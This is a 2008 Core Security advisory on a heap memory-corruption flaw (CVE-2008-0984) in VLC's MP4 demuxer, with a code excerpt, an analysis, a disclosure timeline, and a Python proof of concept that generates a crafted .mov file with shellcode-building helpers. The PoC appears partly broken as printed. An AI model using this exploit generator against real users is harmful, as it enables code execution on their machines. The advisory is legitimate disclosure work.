VLC media player chunk context validation error

VLC media player chunk context validation error

VLC media player chunk context validation error

Core Security Technologies - CoreLabs Advisory

Advisory Information

Title: VLC media player chunk context validation error
Advisory ID: CORE-2008-0130
Advisory URL: http://www.coresecurity.com/?action=item&id=2147
Date published: 2008-02-27
Date of last update: 2008-02-27
Vendors contacted: VLC, Miro player
Release mode: Coordinated release

Vulnerability Information

Class: Arbitrary memory corruption
Remotely Exploitable: Yes (client-side)
Locally Exploitable: No
Bugtraq ID: 28007
CVE Name: CVE-2008-0984

Vulnerability Description

VLC player [1] is an open-source popular multimedia player for various audio and video formats, and various streaming protocols. It can also be used as a server to stream in unicast or multicast in IPv4 or IPv6 on a high-bandwidth network.

The VideoLAN (VLC) media player package is vulnerable to an arbitrary memory corruption vulnerability, which can be exploited by malicious remote attackers to compromise a user's system. The vulnerability is caused due to the VLC (demux/mp4/mp4.c) library not properly sanitizing certain tags on a MOV file before using them to index an array on the heap. This can be exploited to get arbitrary code execution by opening a specially crafted file.

Vulnerable packages

  • VLC 0.8.6d and earlier.
  • Miro Player 1.1 and earlier, uses VLC code.

Non-vulnerable packages

  • VLC 0.8.6e

Vendor Information, Solutions and Workarounds

The VideoLAN project has issued a security advisory describing this vulnerability [2], partially quoted below.

VLC media player's MPEG-4 file format parser (a.k.a. the MP4 demuxer) suffers from an arbitrary memory overwrite vulnerability when using specially crafted (invalid) MP4 input files. If successful, a malicious third party could trigger execution of arbitrary code within the context of the VLC media player, or otherwise crash the player instance.

Exploitation of the MP4 demuxer problem requires the user to explicitly open a specially crafted file. The user should refrain from opening files from untrusted third parties or accessing untrusted Web sites (or disable the VLC browser plugins), until the patch is applied.

VLC media player 0.8.6e addresses these issues and introduces further usability fixes. The source code patch can be downloaded separately here [3]. Pre-compiled packages will be available at the usual download locations shortly.


These vulnerabilities were discovered and researched by Felipe Manzano and Anibal Sacco, both of them from CORE IMPACT's Exploit Writing Team (EWT), Core Security Technologies.

Technical Description / Proof of Concept Code

The vulnerability resides in the following code at demux/mp4/mp4.c. User supplied data is used to initialize an arbitrary index of a heap array.

910    if( ( !(p_co64 = MP4_BoxGet( p_demux_track->p_stbl, "stco" ) )&& 911          !(p_co64 = MP4_BoxGet( p_demux_track->p_stbl, "co64" ) ) )||
912        ( !(p_stsc = MP4_BoxGet( p_demux_track->p_stbl, "stsc" ) ) ))
913    {
914        return( VLC_EGENERIC );
915    }

.. ..

943    i_last = p_demux_track->i_chunk_count; /* last chunk proceded */
944    i_index = p_stsc->data.p_stsc->i_entry_count;
945    if( !i_index )
946    {
947        msg_Warn( p_demux, "cannot read chunk table or table empty" );
948        return( VLC_EGENERIC );
949    }
951    while( i_index-- )
952    {
953        for( i_chunk = p_stsc->data.p_stsc->i_first_chunk[i_index] - 1;
954             i_chunk < i_last; i_chunk++ )
955        {
956            p_demux_track->chunk[i_chunk].i_sample_description_index =
957                    p_stsc->data.p_stsc->i_sample_description_index[i_index];
958            p_demux_track->chunk[i_chunk].i_sample_count =
959                    p_stsc->data.p_stsc->i_samples_per_chunk[i_index];
960        }
961        i_last = p_stsc->data.p_stsc->i_first_chunk[i_index] - 1;
962    }

At line 910/912, the MP4_BoxGet() function reads data from the file and returns a structure of type MP4_Box_t with the field i_chunk_count controlled by the user without properly checking the value.

This value will be used later (at line 956 and 958) within a for statement to index an array and consequently filling the heap buffer, but due to the fact that i_last (controlled by user) is used as a limit for the writing without any kind of check it is possible to write any value on almost any memory address.

It is important to note that i_last is not fully controlled by the attacker in the first iteration but as seen in code at line 961 it gets the value of p_stsc->data.p_stsc->i_first_chunk[i_index] - 1 which is one of the controlled fields.

We say almost because in each assignation the user have great control of the values of i_sample_description_index and i_sample_count fields, making it possible to write 8 contiguous bytes every 44 bytes.

This is the structure definition:

/* Contain all information about a chunk */
typedef struct
    uint64_t     i_offset; /* absolute position of this chunk in the file */
    uint32_t     i_sample_description_index; /* index for SampleEntry to use */
    uint32_t     i_sample_count; /* how many samples in this chunk */
    uint32_t     i_sample_first; /* index of the first sample in this chunk */

    /* now provide way to calculate pts, dts, and offset without to
        much memory and with fast acces */

    /* with this we can calculate dts/pts without waste memory */
    uint64_t     i_first_dts;
    uint32_t     *p_sample_count_dts;
    uint32_t     *p_sample_delta_dts;   /* dts delta */

    uint32_t     *p_sample_count_pts;
    int32_t      *p_sample_offset_pts;  /* pts-dts */

    /* TODO if needed add pts
        but quickly *add* support for edts and seeking */

} mp4_chunk_t;

In this way, as we demonstrate in the following proof of concept (PoC), it is possible to build a file that contains specially crafted stsc and co64atoms allowing an attacker to write any value in practically any address.

Understanding this, it is possible to patch some critical memory address to get code execution. And with some voodoo magic, to write a scattered payload that builds a fully functional shellcode on some other place to subsequently jump to.

The following python code will generate a .mov file proving the memory corruption sometimes overwriting function pointers (tested on a Gentoo Linux). More efforts can be made to craft a quicktime movie file that allocates heap in a more predictive way, so the array that we can freely index is placed in a deterministic predefined way leading to a more reliable function pointer overwriting.


import struct
import sys

class mov_exploit:
    def __init__(self,blocksize,gotbase,gotsize,shellcodebase=None,arch='win32'):

        if shellcodebase!=None:

        mdat = self.mkatom("mdat","MALDAAAAAD!")
        mvhd = self.mkatom("mvhd", "A"*100)

        WW = []
        jmpaddress = struct.pack(">L",0x42424242)



        stscjmp = self.mkatom("stsc",self._mkstsc(WW))
        trakjmp = self._mktrak(stscjmp)

        moov = self.mkatom("moov",trakjmp+mvhd)
        ftyp = self.mkatom("ftyp","3gp4"+"\x00\x00\x02\x00"+"3gp4"+"3gp33gp23gp1")
        self.file = ftyp+mdat+moov

    def __str__(self):
        return self.file
    def mkatom(self,type,data):
        if len(type) != 4:
                raise "type must by of length 4!!!"
        mov = ""
        mov += struct.pack(">L",len(data)+8)
        mov += type
        mov += data
        return mov

    def make_calc(self,x):
        r3t =(((x-4) / self.blocksize) + 1)
        return r3t

    def revert_calc(self,x):
        r = (self.blocksize * (x-1)) + 4
        return r

    def _reverse(self,s):
        l = list(s)
        return "".join(l)

    def _mkstsc(self,l):

        r3t = ""
        r3t += struct.pack(">L",1)
        r3t += struct.pack(">L",len(l)+1)
        oldwhere = 0
        for where, what in l:
            oldwhere = where
            if len(what) != 8:
                raise "Wrong what leng"
            r3t += struct.pack(">L",where) + what #self._reverse(what)

        r3t += struct.pack(">L",where + 1) + "FELISCCC"
        return r3t

    def _mkstsc(self,l):

        r3t = ""
        r3t += struct.pack(">L",1)                #version, format needed
        r3t += struct.pack(">L",len(l)+1)         #number of stsc chunks

        oldwhere = 0
        for where, what in l:
            oldwhere = where
            if len(what) != 8:
                raise "Wrong what leng %d"%len(what)
            r3t += struct.pack(">L",where) + what #self._reverse(what)

        r3t += struct.pack(">L",where + 1) + "FELISaLS"
        return r3t

    def _pack(self,s):
        if len(s) != 8:
            raise "Wrong size!"
        return s[3]+s[2]+s[1]+s[0]+s[7]+s[6]+s[5]+s[4]

    def _pack4(self,s):
        if len(s) != 4:
            raise "Wrong size!"
        return s[3]+s[2]+s[1]+s[0]

    def _mkshellcode(self,payload):

        if len(payload) % 4:
            payload += "X" * (4 - len(payload) % 4)
        payload = self._reverse(payload)

        movesp = '\xbc'
        push = '\x68'
        jmps = '\xeb'
        nop  = '\x90'

        shellcode = []

        scode = ""
        scode += movesp + struct.pack("<L",4+self.shellcodebase+(len(payload)/4)*self.blocksize+len(payload)+1)
        scode += nop*(8-(len(scode)+2))
        scode += jmps + struct.pack("B",self.blocksize-8)

        for i in range(0,len(payload),4):
            scode = ""
            scode += push + self._pack4(payload[i:i+4])
            scode += nop*(8-(len(scode)+2))
            scode += jmps + struct.pack("B",self.blocksize-8)

        return shellcode

    def _mktrak(self,stsc):
        tkhd = self.mkatom("tkhd", "A"*100)
        hdlr = self.mkatom("hdlr", "\x00"*4+"mhlrtext"+"appl"+"\x00"*9)
        mdhd = self.mkatom("mdhd", "A"*100)
        co64 = self.mkatom("co64", struct.pack(">L",10) + struct.pack(">L",2) + "A"*100)
        stbl = self.mkatom("stbl",self.mkatom("stsd","UFFFF") + co64+ stsc)
        minf = self.mkatom("minf",stbl)
        mdia = self.mkatom("mdia",minf+mdhd+hdlr)
        trakjmp = self.mkatom("trak",mdia+tkhd+mdia)
        return trakjmp

    binary_file = mov_exploit(20,0x872e0f8,3996,arch="linux").__str__()
    file = open(sys.argv[1], "wb")
    print "[+] File %s already generated" % sys.argv[1]
    print "[+] Usage: python vlc_poc.py anyname.mov"


Report Timeline

  • 2008-02-05: VLC team is notified that there is a vulnerability.
  • 2008-02-07: VLC team acknowledges and requests the draft.
  • 2008-02-07: Core sends the draft of advisory CORE-2008-0130 to the VLC team.
  • 2008-02-08: VLC team applies a patch [4] to fix the bug.
  • 2008-02-11: Core suggests to the VLC team another patch after the calloc (at line 923) to avoid the possible null pointer reference, for completeness.
  • 2008-02-12: Core notifies Miro player team that their software is also affected by the security bug in VLC 0.8.6b.
  • 2008-02-12: Miro player team acknowledges and says that they have already moved to VLC 0.8.6c.
  • 2008-02-12: Core confirms Miro player team that VLC versions 0.8.6d and earlier are affected, and includes information about the patches in VLC code.
  • 2008-02-18: Core asks to the VLC team if there will a release available on the estimated publication date February 27th, 2008.
  • 2008-02-19: VLC team confirms that release 0.8.6e will be available on February 27th.
  • 2008-02-27: Advisory CORE-2008-0130 is published.


[1] http://www.videolan.org/vlc

[2] http://www.videolan.org/security/sa0802.html

[3] http://www.videolan.org/patches/vlc-0.8.6-CORE-2008-0130.patch

[4] https://trac.videolan.org/vlc/changeset/24944

About CoreLabs

CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://www.coresecurity.com/corelabs-research

About Core Security Technologies

Core Security Technologies develops strategic solutions that help security-conscious organizations worldwide develop and maintain a proactive process for securing their networks. The company's flagship product, CORE IMPACT, is the most comprehensive product for performing enterprise security assurance testing. CORE IMPACT evaluates network, endpoint and end-user vulnerabilities and identifies what resources are exposed. It enables organizations to determine if current security investments are detecting and preventing attacks. Core Security Technologies augments its leading technology solution with world-class security consulting services, including penetration testing and software security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core Security Technologies can be reached at 617-399-6980 or on the Web at http://www.coresecurity.com.


The contents of this advisory are copyright (c) 2008 Core Security Technologies and (c) 2008 CoreLabs, and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.


This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at /legacy/files/attachments/core_security_advisories.asc.